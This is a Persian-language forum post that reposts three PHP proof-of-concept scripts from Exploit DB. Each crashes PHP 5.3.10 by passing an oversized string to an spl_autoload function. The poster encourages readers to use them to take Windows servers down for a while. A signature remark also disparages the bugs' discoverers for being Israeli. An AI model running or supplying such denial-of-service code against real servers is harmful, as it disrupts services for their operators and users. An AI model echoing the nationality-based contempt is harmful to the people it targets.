اطلاعیه

Collapse
No announcement yet.

Php 5.3.1 Local DoS

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • Php 5.3.1 Local DoS

    چند ایراد امنیتی جدید توی PHP پیدا کردن که گفتم بگذارم اینجا بد نباشه


    کد:
    <?php
    #####################################################################
    ## PHP 5.3.10 spl_autoload() Local Denial of Service
    ## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
    ## Date: 02/06/2012
    ## Local Denial of Service
    ## Bug discovered by Pr0T3cT10n, <[email protected]>
    ## ISRAEL
    ## http://www.0x31337.net
    #####################################################################
     
    $buff = str_repeat("A",9999);
    spl_autoload($buff);
    ?>
    کد:
    <?php
    #####################################################################
    ## PHP 5.3.10 spl_autoload_call() Local Denial of Service
    ## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
    ## Date: 02/06/2012
    ## Local Denial of Service
    ## Bug discovered by Pr0T3cT10n, <[email protected]>
    ## ISRAEL
    ## http://www.0x31337.net
    #####################################################################
     
    $buffer = str_repeat("A",9999);
    spl_autoload_call($buffer);
    ?>
    کد:
    <?php
    #####################################################################
    ## PHP 5.3.10 spl_autoload_register() Local Denial of Service
    ## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
    ## Date: 02/06/2012
    ## Local Denial of Service
    ## Bug discovered by Pr0T3cT10n, <[email protected]>
    ## ISRAEL
    ## http://www.0x31337.net
    #####################################################################
     
    $buffer = str_repeat("A",9999);
    spl_autoload_register($buffer);
     
    ## Or..
    # spl_autoload_register($buffer,1,1); #Should work too.
    ?>
    منبع : Exploit DB


    باهاش به احتمال زیاد می تونید سرورهای ویندوز رو برای مدتی بیارید پایین

    زیرنوشت : البته جای تاسف داره که این ایرادها توسط اسرائیلی ها کشف شده ...
    Last edited by arash70; 06-07-2012, 03:00 AM.
    بعضی ها واقعاً مایه ی ننگ جامعه ی IT و کامپیوتر هستند ،
    حال این انتخاب شماست که جزئی از این دسته باشید ، یا نباشید .

    کمپین اعتراض به سرعت کم و قیمت بالای اینترنت در ایران
Working...
X